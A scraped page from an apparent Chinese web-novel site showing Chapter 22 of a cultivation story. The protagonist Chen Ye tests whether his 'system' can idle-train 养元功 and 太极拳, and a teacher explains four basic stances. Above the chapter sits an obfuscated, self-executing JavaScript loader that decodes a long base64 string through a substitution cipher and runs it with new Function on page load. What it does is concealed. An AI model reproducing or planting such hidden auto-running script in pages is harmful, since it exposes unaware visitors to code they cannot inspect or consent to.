当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一章
目录 | 设置
下一页

第22章 提升精神力(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

翌日,武道课。

陈晔吞下了养元丹,再将系统挂机取消,然后迈开步子开始练习八部养元功。

等练习2个小时后,他再次打开系统,开始挂机八部养元功。

做完这一切后,陈晔开始期待接下来内气值的变化。

他的想法是,如果自己吃了养元丹,修炼效率提升二倍后,再练习养元功,然后进行挂机,那系统可能就会记录他此时养元功的状态,也许就能以这种二倍效率的状态进行挂机,如此就能实现挂机1小时就等于2个小时的操作。

不过不知道这样行不行,毕竟养元丹的药效只能持续十天左右,可能骗不了系统,而且系统具体会不会记录他修炼的状态也未可知。

现在这个想法到底行不行,只能等两天后见分晓了。

放学后,陈晔又在楼下广场练了1小时太极拳。

只要再练3小时就知道太极拳能不能挂机了。

4月2日。

武道课。

李明莫名其妙的看着陈晔,问道:“你练太极拳做什么?”

陈晔手中动作没停,继续练太极拳,他边练边说:“练着玩,反正养元功每天也只能练习2个小时。”

李明点头,确实,内气值提升限制还是太多了,时间倒是宽裕,问题是用不上。

几分钟后,电子合成音响起。

“发现挂机清单,选择是否挂机。”

系统:八部养元功一(挂机中……)

数学(可挂机)

英语(可挂机)

物理(可挂机)

化学(可挂机)

生物(可挂机)

太极拳(可挂机)

内气值:55焦

精神力:25帕

太极拳果然可以挂机,不知道对于内气值有没有什么提升作用?

陈晔心头一喜。

他准备等养元丹验证过后,再挂机一下太极拳试试,看对于他的武道有没有什么帮助。

在自行练习了半节课后,方立顺体提着了一沓资料走了过来。

方立顺环视了一遍人群,确认人数都到了后,他朗声道:“从今天起我们就开始复习桩功,提升桩功熟练度。”

说完他把手中的资料让人发了下来,资料上是关于桩功的介绍,以及桩功的练习步骤,动作要领,发力技巧等等知识点。

资料发下去后,方立顺作出双手向两边推的动作,说道:“以中线为轴,向两边扩散,成队列姿态,准备练习桩功。”

“基础桩功分四种桩,首先是混元桩、其次是矛盾桩、托婴桩、浮云桩,这四大基础桩是你们未来武学的基础,任何武功离不开基础桩的练习。”

之后,在方立顺一边演示一边讲解下,陈晔很快学会了四大桩。

混元桩先是抬右脚向右侧轻移半步,两脚分立与肩同宽,两手轻松上抬环抱胸前,讲究协调好身体各处的肌肉,要领是放松人体。

矛盾桩是左脚向左前方迈半步,两脚呈稍息姿势,意在一手持矛一手执盾。

托婴桩是两手臂环抱胸前,掌心相对,十指自然张开。前手稍高于后手,两眼顺前脚尖指的方向平视远方,意念中两掌之间如托着一个婴儿。

浮云桩是两手臂环抱胸前,掌心向下,十指自然撑开,前手稍高于后手,两眼顺前脚尖指的方向平视远方。意念中身体仿佛埋在云层里,两脚踩在游动的云朵上,两手之间好像扯着云絮,有一种撕拉拧裹的感觉。

陈晔现在只需要练习五个小时就可以挂机了,不过现在不急,先解决内气值的问题再说。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间